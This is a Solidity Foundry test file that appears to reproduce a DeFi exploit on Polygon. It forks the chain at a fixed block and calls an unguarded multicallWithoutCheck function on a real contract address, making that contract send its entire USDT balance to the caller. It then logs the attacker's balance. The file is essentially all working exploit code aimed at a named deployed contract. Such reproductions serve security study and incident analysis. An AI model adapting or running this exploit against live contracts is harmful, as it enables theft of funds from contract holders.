MulticallWithoutCheck_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// Address https://polygonscan.com/address/0x940ce652a51ebadb5df09d605dbeda95fdcf697b
interface Target {
    struct Call {
    address target;
    bytes callData;
    uint256 value;
}
    function multicallWithoutCheck(Call[] memory calls) external;
}

contract ContractTest is DSTest{
    struct Call {
    address target;
    bytes callData;
    uint256 value;
}
    Target target = Target(0x940cE652A51EBadB5dF09d605dBEDA95fDcF697b);
    IERC20 USDT = IERC20(0xc2132D05D31c914a87C6611C10748AEb04B58e8F);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);


    function setUp() public {
        cheats.createSelectFork("polygon", 34743770);
    }

    function testExploit() public{
        uint USDTBlance = USDT.balanceOf(address(target));
        bytes memory data = abi.encodeWithSignature("transfer(address,uint256)", address(this), USDTBlance);
        Target.Call memory inputData = Target.Call({
            target: address(USDT),
            callData: data,
            value: 0
        });
        Target.Call [] memory calls = new Target.Call[](1);
        calls[0] = inputData;
        target.multicallWithoutCheck(calls);

        emit log_named_decimal_uint(
            "[End] Attacker USDT balance after exploit",
            USDT.balanceOf(address(this)),
            6
        );
    }

}